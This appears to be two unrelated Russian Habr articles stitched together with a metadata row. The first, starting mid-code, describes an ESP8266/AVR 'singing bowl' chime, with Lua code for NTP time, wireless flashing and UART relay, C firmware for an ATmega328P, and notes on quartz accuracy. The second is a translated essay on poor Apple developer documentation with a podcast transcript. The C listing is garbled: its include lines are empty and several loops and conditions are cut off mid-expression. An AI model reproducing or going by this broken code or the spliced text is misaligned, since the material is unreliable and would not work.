sk:send(123,"130.149.17.21",string.char( 227, 0, 6, 236, 0,0,0,0,0,0,0,0, 49, 78, 49, 52,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0))
sk:on("receive", function(sck, payload)
ntp = payload:byte(41) * 128 * 256 * 256
+ payload:byte(42) * 128 * 256
+ payload:byte(43) * 128
+ payload:byte(44) /2
+ timezone * 1800
hour =ntp % 43200 / 1800
minute = ntp % 1800 / 30
secund = ntp % 60
uart.write(0,hour)
uart.write(0,minute)
uart.write(0,secund)
sk:close()
end )
end)
```
Суть там простая. Однократно (или нет) вызывается функция учреждающая UDP клиент, который обращается к серверу точного времени и просит у того соответственно точное время. В ответ сервер вываливает тридцать два байта, из которых надо выудить искомые четыре байта данных. К сожалению, это искомое представляет собой не минуты и часы, а количество секунд прошедших на данный момент аж с 1 января 1900 года. Поэтому потом вам придётся из четырёх байт этих секунд разными сложными манипуляциями вычислять текущее время.
Дальше, всё проще. Запускаете UART передатчик и валите в него тремя байтами вычисленное время — часы, минуты и секунды.
И я снова вставил этот код, уже в свой LUA загрузчик (ссылка), как раз в то место, где подключение к сети WI-FI уже осуществлено, но дальнейшая работа ещё не началась.
**В полном виде это выглядит так.**
```
function InstrProgrammingEnable () -- instruction for MC "enable programming"
p=0
while p<31 do
p=p+1
pin=8
gpio.write(pin, gpio.LOW)
spi.send(1, 0xAC,0x53)
read = spi.recv( 1, 8)
spi.send(1,0,0)
gpio.write(pin, gpio.HIGH)
if (string.byte(read)== 83)
then
--print("connection established")
p=33
if(p==31)
then
--print("no connection")
end
end
end
end
function ProgrammingDisable ()
pin=2--END OF ESET FOR MK GPIO4
gpio.mode(pin, gpio.INPUT)
pin=8
gpio.mode(pin, gpio.INPUT) -- CE chip enable not used GPIO15
pin=5--CLK MASTER for SPI GPIO14 used
gpio.mode(pin, gpio.INPUT)
pin=6--MISO MASTER for SPI GPIO 12 may not used
gpio.mode(pin, gpio.INPUT)
pin=7--MOSI MASTER for SPI //GPIO13 used
gpio.mode(pin, gpio.INPUT)
end
--PROGRAMMING ENABLE
function ProgrammingEnable ()
pin=2-- RESET FOR MK
gpio.mode(pin, gpio.OUTPUT)
gpio.write(pin, gpio.LOW)
pin=2--POZITIV FOR 4MSEC RESET FOR MK
gpio.mode(pin, gpio.OUTPUT)
gpio.write(pin, gpio.HIGH)
tmr.delay(4)
gpio.mode(pin, gpio.OUTPUT)
gpio.write(pin, gpio.LOW)
tmr.delay(25000)
end
function InstrFlashErase() --FFFFFFFFFFFFFFFFFF
pin=8
gpio.write(pin, gpio.LOW)
spi.send(1,0xAC,0x80,0,0)
gpio.write(pin, gpio.HIGH)
tmr.delay(15000)
pin=2--RESET FOR MK
gpio.mode(pin, gpio.OUTPUT)
gpio.write(pin, gpio.HIGH)
tmr.delay(20000)
gpio.write(pin, gpio.LOW)
--print( "FLASH is erased")
InstrProgrammingEnable ()
end
function InstrStorePAGE(H, address, data)
pin=8
gpio.write(pin, gpio.LOW)
spi.send(1,H,0,address,data)
gpio.write(pin, gpio.HIGH)
tmr.delay(500)
end
function InstrWriteFLASH(page_address_low,page_address_high)
pin=8
gpio.write(pin, gpio.LOW)
spi.send(1,0x4C,page_address_high,page_address_low,0)
gpio.write(pin, gpio.HIGH)
tmr.delay(5000)-- иногда не прописываются флэш при малых задержках
end
function Programming (payload)
pin=8--CS MASTER for SPI
gpio.mode(pin, gpio.OUTPUT, gpio.PULLUP)
pin=4--LED LIGHTS ON LOW
gpio.mode(pin, gpio.OUTPUT)
gpio.write(pin, gpio.LOW)
--print(string.len(payload))
page_count = 7 -- пишем 1 килобайт
for k =0 ,page_count ,1 do--quantity of pages
for i=0 , 127, 2 do-- -1
address = i/2
data=payload:byte(i+1+128*k)
if data == nil
then
data = 0xff
end
InstrStorePAGE(0x40,address,data)
-- tmr.delay(100)-- otherwise not in time write
data =payload:byte(i+1+1+128*k)
if data == nil then
data = 0xff
end
InstrStorePAGE(0x48,address,data)
-- tmr.delay(100)
end
page_address_low=bit.band(k ,3)*64 -- 3 это двоичное 11
page_address_high=k/4+frame1024*2
tmr.delay(1000)
InstrWriteFLASH(page_address_low,page_address_high)
tmr.wdclr()
end
pin=4--LED
gpio.mode(pin, gpio.OUTPUT)
gpio.write(pin, gpio.HIGH)
end
--MAIN BLOCK
wifi.setmode(wifi.STATION)
--wifi.sta.config("ssid","pass") -- set SSID and password of your access point
station_cfg={}
tmr.delay(30000)
station_cfg.ssid="ssid"
tmr.delay(30000)
station_cfg.pwd="pass"
tmr.delay(30000)
wifi.sta.config(station_cfg)
tmr.delay(30000)
wifi.sta.connect()
tmr.delay(1000000)
--print(wifi.sta.status())
--print(wifi.sta.getip())
while ( wifi.sta.status()~=1 ) do
if( wifi.sta.status()==5)
then
break
end
end
uart.setup(0,9600,8,0,1,0)
-- добавление блока для получения NTP времени и отправка ея на AVR
timezone = 3 -- москва
tmr.alarm(1,5000,0,function() -- try once connect to NTP-server
sk=net.createUDPSocket()
sk:send(123,"130.149.17.21",string.char( 227, 0, 6, 236, 0,0,0,0,0,0,0,0, 49, 78, 49, 52,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0))
sk:on("receive", function(sck, payload)
ntp = payload:byte(41) * 128 * 256 * 256
+ payload:byte(42) * 128 * 256
+ payload:byte(43) * 128
+ payload:byte(44) /2
+ timezone * 1800
hour =ntp % 43200 / 1800
minute = ntp % 1800 / 30
secund = ntp % 60
uart.write(0,100)--перевод AVR в режим часов
uart.write(0,hour)
uart.write(0,minute)
uart.write(0,secund)
sk:close()
end )
end)
prog_address="";
sv=net.createServer(net.TCP,30)
tmr.delay(100)
--print("SERVER READY")
sv:listen(40000,function(c)--Главный сервер, работает всегда
c:on("receive", function(c, payload)
--print(payload)
if (payload =="program\r\n")
then
c:send("ready\r\n")
--print("ready for program\r\n")
tmr.wdclr()
spi.setup(1, spi.MASTER, spi.CPOL_LOW, spi.CPHA_LOW, spi.DATABITS_8,80,spi.FULLDUPLEX) -- настройка SPI 320 примерно 115 000 кБод
ProgrammingEnable ()--------------------------------------------------------------------- на 80 еще работает это 1 мбит
tmr.delay(100)
InstrProgrammingEnable ()
tmr.delay(100)
InstrFlashErase()
tmr.delay(100)
frame1024=0--номер переданного фрейма
st=net.createServer(net.TCP,30)--Сервер для приема файла программы и трансляции ее в AWR, выключается командой stop program
st:listen(40001,function(c)
c:on("receive", function(c, payload)
tmr.wdclr()
Programming (payload)
frame1024=frame1024+1
end)
end)
end
if (payload =="data\r\n")
then
tmr.wdclr()
c:send("ready\r\n")
-- print("ready for data\r\n")
c:on("receive", function(c, prog_address_payload)
prog_address=prog_address_payload--получаем IP адрес UDP хоста для отправки к нему данных
-- print(prog_address)
c:send(prog_address)
srv=net.createUDPSocket()-- Сервер для приема данных , выключается командой data stop
srv:listen(50000)
-- uart.setup(0,9600,8,0,1,0)
srv:on("receive", function(srv, pl) -- принимаем данные с компьютера по UDP
pl=pl*1
-- print(pl)
uart.write(0,pl) -- отправляем их по UART на AVR
end)
uart.on("data", 1, function(data) -- принимаем данные по UART из AVR
srv:send(50000,prog_address,data) -- отправляем их по UDP на компьютер
end, 0)
tmr.wdclr()
end)
end
if (payload =="stop data\r\n") -- здесь закрываем ненужные уже сервера
then
ready = false
if(srv~=nil)
then
srv:close()
-- print("stop data")
end
collectgarbage()
end
if (payload =="stop program\r\n")
then
if(st~=nil)
then
st:close()
frame1024=0
ProgrammingDisable ()
-- print("stop program")
end
collectgarbage()
end
end)
end)
```
Конечно, это идет вразрез с моей концепцией, где ESP8266 это чистый беспроводной мост, а микроконтроллер ATMEL всё остальное, но как говорится: « один раз, не п… ».
Итак, начальное точное время мы получили (напрямую от NTP сервера или опосредованно через приложение на компьютере, не важно), дальше хотелось бы считать время самим. Во-первых, нечего нагружать сеть, а во-вторых, ATMEL теоретически позволяет отсчитывать секунды с неплохой точностью. Теоретически, да. А вот практически, встречаются подводные камни.
**Небольшое отступление про часы реального времени на AVR.**
По идее, в построении часов на микроконтроллере AVR нет ничего сложного. Самые оголтелые конструкторы даже пихают для этого в схему часовой кварц на 32768 Гц. Но на самом деле этого делать не надо. По сути, часовой кварц необходим, чтобы кратно секунде формировать прерывание и будить **спящий** (обратите внимание) микроконтроллер. Если у вас устройство работает постоянно, а часы обычно так и делают, то ставить дополнительный кварц к уже имеющемуся и отнимать под него две ноги ввода-вывода безрассудно. Вполне можно использовать кварцевый резонатор, который уже есть, на восемь там или шестнадцать мегагерц. Его точности квантования вам хватит за глаза, а посчитать одну секунду таймером-счетчиком тоже будет несложно.
На самом деле в AVR микроконтроллере всё для этого уже имеется. Как известно, входной тактирующий сигнал (допустим 8 МГц) поступает внутри чипа (допустим AVRmega328P как самого ходового для ардуинок) на, так называемый предделитель, где он по желанию программиста может делиться дальше (обычно на 8, 64, 256, 1024). А уже затем он поступает на какой-нибудь таймер-счетчик (допустим Т1), который начинает тут же инкрементироваться.
Итак, возьмем 8 МГц и поделим на 256. Получим соответственно частоту тактирования счетчика 31250 Гц. Соответственно, коль скоро счетчик Т1 шестнадцатиразрядный и может считать соответственно аж до 65535, то досчитать до 31250 он как раз успеет за одну секунду. Что нам и надо. Кроме этого наш таймер имеет еще один очень полезный регистр сравнения. Если мы туда как раз и запишем число 31250, то при определенных условиях оно будет постоянно сравниваться с содержимым счетчика Т1 и наконец, когда сравняется, счетчик выдаст сигнал прерывания, мол нате, держите вашу секунду.
Получается удобно, но, к сожалению, не совсем точно. Ибо счетчик наш будет считать с ошибкой квантования 256/ 8 000 000, что дает немаленькую ошибку исчисления одной секунды в целых 32 микросекунды. А это приводит к ошибке 2,8 секунды в сутки (0,000032 \* 3600 \* 24).
А вот, если мы поделим исходные 8 МГц на меньшую величину, например на 64, то точность квантования возрастет в 4 раза до 8 мкс и уменьшит итоговую ошибку до 0,33 секунд в сутки. Но, к сожалению, в этом случае счетчику надо будет досчитать до 125 000, а такое число в шестнадцати разрядный регистр не войдёт. Придётся писать в регистр сравнения число поменьше ( 62500 ещё влазит) ) и добавлять цикл в самой программе, где одна секунда будет считаться уже не по одному, а по двум прерываниям.
Но это мы взяли случай идеальный, а реальный кварцевый резонатор, особенно установленный на плате «made in China» способен принести вам немало сюрпризов. Нет, вообще, если смотреть по [даташитам](https://static.chipdip.ru/lib/051/DOC000051109.pdf) на стандартные кварцы, то теоретически не всё так плохо.
Как мы видим, кварц средней ценовой категории ведет себя вполне прилично. У него есть нестабильность собственной настройки в 25 ppm (или иными словами 25 миллионных частей), то есть он будет резонировать на частоте не 8 МГц, а, к примеру, на частоте 8, 0002 МГц, что даст нам целых 2,1 секунды ошибки в сутки. Но это постоянная погрешность и ее можно учесть. Такой кварц также может плавать по температуре 5-10 ppm на градус, но при комнатных условиях работы устройства, ошибка тоже будет небольшой. Есть еще такой фактор как старение, но он совсем мизерный и меняет характеристики кварца до состояния хоть какой-то заметности, ну может, лет за пять. Или десять.
И вот мы радостные берём какой-нибудь китайский клон ардуино, к примеру ARDUINO UNO.
Запускаем на нём тестовую программку подсчета времени и опупеваем. Отставание в час на минуту? Легко! Вторая плата Arduino UNO? Ничуть не лучше.
Берём Arduino ProMini.
А вот здесь получше, да. Ошибка уменьшилась до двадцати секунд в час. Ну, уже сравнимо с механическими часами с кукушкой.
Последняя плата, которая оказалась у меня под рукой была Arduino Nano.
И она единственная показала более-менее вменяемые результаты.
Но даже с такой платой, используя только теоретические построения, сами понимаете, точные часы не сделаешь. Плату надо настраивать и я, вздохнув, полез за осциллографом.
Как оказалось, ардуино платы обладают неприятной особенностью – вывод, к которому подсоединён кварцевый резонатор, не имеет выхода на гребенку выводов, хотя и соответствует порту PB7. Типа, раз порт занят под кварц, то и нефиг к нему цепляться. А просто к ноге микроконтроллера весьма затруднительно подцепится щупом осциллографа, ибо поверхностный монтаж и шаг 0,5 мм между выводами. Но даже присоединение к нужной ножке мне ничего не дало. То ли потому, что неправильно тыкал, то ли тыкал совсем не туда, поскольку вывод кварцевого резонатора, может быть, совсем не есть вывод тактового генератора и вообще, он внутри самого микроконтроллера. Поэтому пришлось идти обходными путями – поставить предделитель на минимальный коэффициент деления — единицу, записать в регистр сравнения ноль, чтобы прерывание дергалось сразу же и ввести микроконтроллер в специальный режим, в котором ножка порта PB1 меняет свое логическое состояние при каждом таком прерывании.
Логически рассуждая, при включении платы Arduino Nano 16 МГц, на выходе этого порта должен появиться меандр с частотой 8 МГц.
Что и случилось. Осциллограф показал частоту 8. 002 31 МГц. Причем последний разряд жил своей жизнью и я так и не понял, то ли не хватает точности осциллографа, то ли это так плавает частота кварцевого генератора. Больше походило на второе.
Хорошей термостабильностью там тоже не пахло. Если на плату подышать (может, кстати, емкости от влажности ещё едут?) или поднести (издалека) паяльник, то кварц мог отъехать сразу на полсотни герц. И эти измерения ещё загрублены в два раза, поскольку исходная частота 16 МГц.
Таким образом, в ардуино платах (по крайней мере тех, что китайского происхождения) добиться точности более 200 Гц при тактовой частоте 16 МГц невозможно. Что и дает нам предельную точность часов собранных на таких платах не более чем в одну секунду в сутки. И это ещё хорошо.
Потому что есть китайские клоны Arduino UNO, уже упомянутые мною ранее, с которыми, вообще всё плохо. А они весьма распространены, ибо дешевы и удобны.
Так вот, у них частота может отличаться от задекларированной более чем на сотню килогерц! Что даже для самых плохих китайских кварцев как-то нехарактерно.
Загадка начинается ещё с того, что на самом кварце написано 12 МГц! И в описаниях продажников тоже.
Но там не 12 МГц, это совершенно точно. Если вы включите на плате последовательный порт UART, то вы сами в этом убедитесь. Поскольку UART настроенный на эту частоту у вас работать не будет. А настроенный на частоту 16 МГц – будет. Да более того, я лично смотрел осциллограммы на обоих имеющихся у меня платах Arduino Uno. У первой платы частота генератора была 15.8784 МГц, а у второй 15.8661 МГц.
Но потом внезапно оказалось, что кварц 12 МГц не имеет прямого отношения к AVR микроконтроллеру, а предназначен для работы последовательного порта с компьютером по USB (чтобы скетчи загружать). Поэтому предположение, что там внутри не кварц, а плохо настроенная RC-цепочка, не оправдалось. А нужный нам кварц гораздо менее велик размерами и находится рядом с чипом микроконтроллера. Но он очень маленький и надписи на нём нет.
В итоге я так и не смог понять, как и где можно найти кварцевые резонаторы настолько мерзейшего качества. Но, видимо, в Китае возможно всё. И как-то я задумался о смельчаках использующих ардуинки для серьезных дел. Ладно, софт можно и даже нужно написать самому, а что вот делать с качеством самих модулей? Судя по всему, из электронных компонентов китайцы пихают в них всё самое дешёвое и забракованное.
**Программа «Поющая чаша”для AVR.**
В итоге, победив все трудности с точным исчислением времени, я написал следующий код для своей Arduino ProMini
**Программа на С для микроконтроллера AVRmega328P**
```
/*
* Tibetian_Bowl.c
*
* Created: 07.06.2018 0:29:57
* Author: User
*/
#define F_CPU 8000000
#include
#include
#include // стандартные целые числа
#include // математика
#include //стандартный ввод-вывод
#include
#include
#include
#include
volatile bool change\_mode = false;
volatile bool boom =false;
volatile bool go\_ahead=true;
volatile bool go\_back=false;
volatile bool gerkon=false;
volatile uint8\_t latency=2;// максимально возможная скорость при latency = 1
volatile uint8\_t hour=12;
volatile uint8\_t hour24=12;// переменная для перевода времени в формат 12
volatile uint8\_t minute=0;
volatile uint8\_t secund=0;
volatile uint8\_t power=0;
volatile uint8\_t pause\_between\_boom=0;
volatile uint8\_t first\_byte=0;
volatile uint8\_t second\_byte=0;
volatile uint8\_t third\_byte=0;
volatile uint8\_t firth\_byte=0;
volatile uint8\_t fifth\_byte=0;
volatile uint8\_t cSREG;
ISR(USART\_RX\_vect)
{ // пишем в буфер пятибайтовую последовательность, где
// первый байт – код команды, остальные данные или нули.
if (first\_byte==0)
{
first\_byte=UDR0;
change\_mode=true;
goto ret;
}
if (second\_byte==0)
{
second\_byte=UDR0;
goto ret;
}
if (third\_byte==0)
{
third\_byte=UDR0;
goto ret;
}
if (firth\_byte==0)
{
firth\_byte=UDR0;
goto ret;
}
if (fifth\_byte==0)
{
fifth\_byte=UDR0;
goto ret;
}
cSREG=UDR0;
ret:
return;
}
ISR(PCINT1\_vect )//PC2 int 10 //вход сигнала с геркона
{
if (go\_ahead)
{
UDR0=44; // ошибка позиционирования авария код ошибки 44
}
if (go\_back)
{
gerkon=true;
}
}
ISR(TIMER1\_COMPA\_vect)
{
// здесь инкрементируем счетчик секунд и делаем часы
secund++;
if (secund ==60)
{
secund=0;
minute++;
if(minute==60)
{
minute=0;
hour++;
if(hour==12)
{
hour=1;// чтобы било не более 12 раз
}
hour24++;
if(hour24==24)
{
hour24=1;
}
boom=true;
}
}
}
void time\_delay(long dell)// передается время для задержки в миллисекундах
{ long i;
dell=dell\*796;//частота кварца 8 мгц
for(i=0;i140)
{ PORTD |=(1<12)// перевод на отбитие не более 12 ударов (24 устанешь считать)
{
hour=hour-12;
}
if (hour==0)
{
hour=12;
}
minute=third\_byte;//получаем минуты
secund=firth\_byte;//получаем секунды
power=fifth\_byte;//получаем силу звука
first\_byte=0;// обнуляем буфер
second\_byte=0;
third\_byte=0;
firth\_byte=0;
fifth\_byte=0;
change\_mode=false;
goto clock\_mode;
}
if (first\_byte==101)//это случайный режим
{
power=second\_byte;
pause\_between\_boom=third\_byte;
first\_byte=0;
second\_byte=0;
third\_byte=0;
firth\_byte=0;
fifth\_byte=0;
change\_mode=false;
goto random\_mode;
}
if (first\_byte==102)//ручное управление
{
power=second\_byte;
first\_byte=0;
second\_byte=0;
third\_byte=0;
firth\_byte=0;
fifth\_byte=0;
change\_mode=false;
goto hand\_mode;
}
//если ни одна команда не разпознана, обнуляем и запускаем все сначала
first\_byte=0;
second\_byte=0;
third\_byte=0;
firth\_byte=0;
fifth\_byte=0;
goto begining;
clock\_mode:
while(change\_mode==false)
{
if (boom)// отбитие часов
{
for(uint8\_t i =0;i21)|(hour24<10))//ночное время
{
sound(3,0);// сила удара 10 (макс), пауза 0 секунда
boom=false;
}
else
{
sound(power,0);// сила удара 10 (макс), пауза 0 секунда
boom=false;
}
}
}
}
goto begining;
random\_mode:
while(change\_mode==false)
{
uint8\_t random\_power = TCNT0;// берем показания младшего байта счетчик Т1
uint8\_t random\_pause = TCNT1L;// берем показания младшего байта счетчик Т1
random\_pause=TCNT0;// берем показания младшего байта счетчик Т1
random\_power=random\_power/25;
if (random\_power<5)
{
random\_power=random\_power+2;// чтобы сильно слабенько не звучало
}
random\_pause=(random\_pause/25)+pause\_between\_boom;
UDR0=random\_pause;
time\_delay(100);
sound(random\_power,random\_pause);
}
goto begining;
hand\_mode:
sound(power,0);
goto begining;
}
}
```
Работает все просто. После инициализации периферии, микроконтроллер переходит в бесконечный цикл, ожидая команды по UART. Коды команд следующие:
100 режим часов
101 режим случайный
102 режим ручной.
Поскольку AVR всё равно, откуда команда, то первой после включения срабатывает команда от ESP8266. Как уже упоминалось, ESP модуль цепляется к сети, тащит оттуда с NTP сервера точное время и отправляет его на микроконтроллер. Таким образом, сначала ардуинка переходит в режим отбития часов. По прерыванию таймера-счетчика Т1 считаются секунды, минуты и часы и в случае необходимости вызываются функции для приведения в движение туда-обратно шагового двигателя, дабы отбить время.
Прерывание от геркона задает одну и ту же нулевую точку, если со временем рычаг тянущий колотушку, начнёт смещаться относительно вала двигателя.
**Приложение для компьютера.**
Основано всё так же, на тех же самых старых [программах](https://habr.com/post/407485/), здесь меняется только визуальное представление.
Всё также поднимается канал связи с AVR через HTTP и UDP соединения. Затем по необходимости отправляется нужная команда управления и сопутствующие данные в виде UDP пакетов. Конечно, правильнее было бы развести управление и данные по разным каналам, но, во-первых, для этого надо править код LUA в загрузчике, а во-вторых, смысла в этом нет никакого, поскольку на микроконтроллер и команды и данные поступают по одному и тому же UART. И таки да, иногда (редко) AVR их путает. Но это не страшно, так как если, микроконтроллер не распознает команду, то он её и не выполнит, да ещё наябедничает про это приложению на компе, которое в свою очередь предложит вам повторить ввод.
Код доступен на [Гитхабе.](https://github.com/Tarson/TibetianBowl)
ПОСТСКРИПТУМ
Вообще тибетские монахи не только лупят колотушками по поющим чашам. Если аккуратно водить колотушкой просто по ободку чаши, то безо всякого стука будет рождаться дивный звук, имеющий под собою ~~божественную~~ природу резонанса. А вот это для Arduino действительно серьёзный вызов. | https://habr.com/ru/post/415629/ | null | ru | null |
# Об ужасной документации Apple
В последние год-два я пришёл к осознанию того, что основной преградой к выполнению моей работы является документация. Или, если конкретнее, откровенный дефицит документации, предоставляемой Apple для своих платформ.
Apple предоставляет разработчикам набор инструментов — [API](https://en.wikipedia.org/wiki/API), позволяющий нам создавать приложения для iOS, iPadOS, macOS и tvOS. Во многих случаях разобраться в том, как пользоваться этими API, достаточно просто. Как отвёртку можно использовать очень немногими способами, так и во многих случаях есть только один очевидный способ применения API.
Однако, в то время, как пользователи справедливо требуют всё более сложных и изощрённых приложений, API тоже часто должны становиться всё более изощрёнными и сложными. Внезапно оказывается, что кроме простых отвёрток и молотков у тебя уже появляется электроинструмент и сложные пилы, и всё оказывается намного более хлопотным, чем было раньше.
Когда покупаешь настоящие инструменты, то ожидаешь получить с ними и руководство пользователя, описывающее способ применения только что купленного инструмента. Приблизительная аналогия в некоторой степени существует и для API — большинство владельцев платформ предоставляют документацию. По сути, это «руководство пользователя» API.
В течение многих лет документация Apple была довольно плохой. За последнюю пару лет она прошла этапы «плохая → ужасная → отвратительная → постыдная». Слишком уж часто бывает, что при изучении того, как делать что-то новое и пользоваться незнакомым мне API, меня загоняют в тупик эти три пугающих слова:
*No overview available*.
Таким образом Apple говорит: «Пошёл ты, разбирайся сам».
Ситуация с *No overview available* настолько плоха, что [популярный ресурс по Apple](https://nshipster.com) (который сам по себе, наверно, и не нужен был бы в идеальной ситуации), использовал это словосочетание в качестве названия [сайта](https://nooverviewavailable.com), подчёркивающего, насколько плоха документация Apple.
Движение прогресса вперёд не улучшает ситуацию. Как [указал мне в Твиттере](https://twitter.com/AdamSwinden/status/1326122584669376513) мой друг Адам Суинден после устаревания одних API в новые иногда и не думают добавлять документацию. Оцените разницу между [этим API](https://developer.apple.com/documentation/photokit/phphotolibrary/1620736-requestauthorization) и [пришедшим ему на замену](https://developer.apple.com/documentation/photokit/phphotolibrary/3616053-requestauthorization).
*«No overview available». Пошёл ты, разбирайся сам.*
Пару лет назад появились два *потрясающих* API, связанных с [`UICollectionView`](https://developer.apple.com/documentation/uikit/uicollectionview):
* [Diffable data sources](https://developer.apple.com/documentation/uikit/uicollectionviewdiffabledatasource)
* [Compositional layout](https://developer.apple.com/documentation/uikit/uicollectionviewcompositionallayoutconfiguration)
Не меньше года, а может и двух, самая лучшая документация по этим новым **и важным** функциям была спрятана в [файлах заголовков](https://www.tutorialspoint.com/cprogramming/c_header_files.htm). Это отвратительно.
В [недавнем подкасте](https://www.relay.fm/radar/204) сайта [Under the Radar](https://www.relay.fm/radar/) мои приятели Марко и Дэйв продолжили тему перехода Марко на Swift и SwiftUI. В этом эпизоде Марко и Дэйв весьма красноречиво описали ужасающие мучения, которым подвергаются разработчики Apple, пытаясь понять, как пользоваться предоставленными Apple инструментами. В конце поста есть транскрипция подкаста, немного подредактированная для удобства чтения.
Я несколько лет бил в этот барабан. Я понятия не имел, в чём проблема на стороне Apple.
* Отделу документации не дают времени, чтобы отреагировать на новые API? (Я бы в это поверил.)
* Документация не считается обязательным требованием для выпуска API? (Я бы **определённо** в это поверил.)
* Отдел документации плохо справляется со своей работой? (В этом я сомневаюсь.)
* Отдел документации слишком мал? (Скорее всего.)
* Отделу документации мешают политика и конфликты? (Вероятно.)
В чём бы ни была проблема, её нужно решать. Проблема усугубляется уже несколько лет, и чаша терпения наконец переполнилась.
Транскрипт подкаста Under the Radar
-----------------------------------
[Marco](https://overcast.fm/+FgnZrLGbQ/3:44): если изучаешь SwiftUI, то в первую очередь узнаёшь, что существующие обучающие ресурсы довольно ужасны, потому что это очень молодой язык/фреймворк/да и просто образ восприятия вещей. Он настолько молод и так часто меняется (как Swift в своей молодости), что многие туториалы, примеры кода и ответы на Stack Overflow уже просто перестали быть верными. Просто потому, что всё изменилось по сравнению с предыдущим годом. Или потому, что ответ был дан по бете, а в более поздней бете, выпущенной в том же году, изменилось название класса или способ выполнения им какой-то функции.
Сейчас очень ощущается большая потребность поддержки документацией со стороны Apple. Одна из отличных черт PHP в том, что он всегда имел *превосходную* документацию на своём веб-сайте.
На [`php.net`](https://php.net/) можно найти любую функцию, а в редакторах добавлены горячие клавиши, поэтому, например, в Textmate я могу нажать `⌃H` и появится окно с документацией *с сайта [`php.net`](https://php.net/)* о той функции, на которую сейчас установлен мой курсор. У этого языка всегда была отличная документация. На страницах документации по каждой функции языка, а их много, были фрагменты примеров кода. И там есть комментарии! Поэтому даже если пример кода не совсем вам подходит или не отвечает на ваш вопрос, то обычно это делают комментарии.
Именно этого я бы хотел от документации Apple — этих небольших примеров применения, потому что они действительно помогают объяснять, как что-то делается или для чего нужна функция.
Когда мы начали перемещаться на территорию SwiftUI и Combine, а также всех этих высокоуровневых концепций, всё это постепенно становится сложнее — то же самое будет справедливо и когда в Swift реализуют [`async`/`await`](https://forums.swift.org/t/swift-concurrency-roadmap/41611), предположительно через год-два. Становится сложнее понимать многие такие концепции, потому что они очень абстрактны и имеют очень простые названия, по которым трудно сказать, что они делают и как ими пользоваться. Поэтому всем нам приходится отправляться на [StackOverflow](https://stackoverflow.com/) и в блоги с туториалами, потому что собственная документация (даже если она хотя бы есть, это уже большое событие) настолько лаконична и минималистична, как будто её спроектировал Джон Айв [известный дизайнер-минималист].
[Дэйв](https://overcast.fm/+FgnZrLGbQ/6:30): … это как большая белая комната…
[Марк](https://overcast.fm/+FgnZrLGbQ/6:31): Да, это большая белая пустая страница. На ней написано «этот тип нужен вот для этой конкретной вещи», после чего нет никакого контекста; нет примеров, показывающих когда нужно его использовать, как его использовать, нужно ли вызывать его определённым образом, как конструктор.
Эти небольшие фрагменты кода на страницах документации могли бы иметь огромную ценность, как это бывает в случае PHP. Например, «вот пример из четырёх строк того, как использовать эту штуку». И когда я всё это изучаю, мне так не хватает подобного.
Я могу представить, что начинающие так воспринимают почти все элементы программирования; поскольку я такой же новичок в Swift и SwiftUI и во всех концепциях, на которых построен SwiftUI, я впервые за долгое время ощущаю, каково быть начинающим. Мне бы очень пригодилась более качественная документация, я бы выиграл от того, чтобы кто-то (вероятно, Apple) приложил много усилий не только к написанию документации, но и к её обновлению в процессе изменения языка.
Эта проблема возникает, когда молодые языки или фреймворки активно развиваются. Если ты учишься по туториалам в блогах и ответам в StackOverflow, то все они довольно быстро устаревают, как я говорил ранее. Никто в Apple не занимается на полную ставку тем, чтобы все эти туториалы в блогах обновлялись при изменении языка, поэтому чаще всего они не обновлятся. Или некоторые обновляются, некоторые нет, поэтому сложно понять, с чем ты столкнулся.
Но даже в такой ситуации, когда SwiftUI привлёк к себе за последний год такое внимание фанатов языка, по нему всё равно очень мало материалов. Ещё меньше материалов о чём-то более глубоком, чем тривиальные примеры использования. Например, если тебе нужно сделать техническое демо на SwiftUI, в котором должна быть кнопка с изменяющимся состоянием или инкременты числа, то замечательно! О подобном существует миллион постов.
Но рано или поздно у тебя возникает вопрос: «Ладно, а как связать это с остальной частью приложения?» Это настоящее приложение, имеющее реальные потребности в постоянном хранении данных, различных экранах и тому подобном. Как только ты добавляешь сложность реальных приложений, в большинстве подобных туториалов она не рассматривается. Дэйв, однажды мне нужно было адаптировать SwiftUI из этих тривиальных туториалов и выступлений Apple на WWDC к ответам на вопросы «Как мне подключить это к своей базе данных?», «Как подключить это к моей системе скачивания файлов или движку синхронизации?» И таких вопросов было много. Мне кажется, в конечном итоге я с этим разобрался, но, чёрт, всё это нетривиально и неочевидно, к тому же есть множество странных небольших тонкостей.
[Дэйв](https://overcast.fm/+FgnZrLGbQ/10:40): Я полностью разделяю твою боль. Меня так расстраивает то, что онлайн существует всего пара действительно замечательных ресурсов по SwiftUI. Для меня это [Hacking with Swift](https://www.hackingwithswift.com) [Пола Хадсона](https://twitter.com/twostraws). Примерно 80% моих знаний о SwiftUI взято с его сайта и его видео. Он организовал отличный процесс обучения: видео, в которых показывается один уровень глубже тривиального примера, после которого твои знания становятся тривиальными «плюс немного». Это неполный пример, в нём всё равно много шероховатостей, о которых ты говорил. Я уверен, что продолжу сталкиваться с такими проблемами: ты хочешь сделать что-то чуть большее, чем самое очевидное, но внезапно оказывается, что ты падаешь с обрыва, и остаётся только пожелать себе удачи.
Помню, как в начале весны встретил пару людей, занимающихся обучением в сообществе Apple. Это те люди, которые много выступают на конференциях, проводят воркшопы, и так далее. Они говорили: «Знаете что? Похоже, весь 2020 год мы не сможем ездить на конференции, мы не сможем делать многое. Эй, Apple, в нашем сообществе есть множество очень талантливых преподавателей с кучей свободного времени. Было бы здорово, если бы ты этим воспользовалась».
Печально, что уже почти конец года, а компания, похоже, так этим и не воспользовалась. Непохоже, что она сделала какие-то шаги в этом направлении, чтобы использовать всех этих людей, отлично умеющих объяснять материал и создавать примеры приложений, в том, чтобы проделать эту работу, которая могла бы помочь людям в твоём и моём окружении. Я по-настоящему сочувствую тем, кто приходит в SwiftUI без десятков лет опыта программирования. Если это первое приложение, которое вы изучаете, то в некотором смысле оно довольно лёгкое. Очень примитивное приложение SwiftUI на самом деле проще собрать, наверно, проще, чем большинство примитивных приложений UIKit. Но как только вы начинаете делать что-то большее, всё мгновенно становится очень сложным.
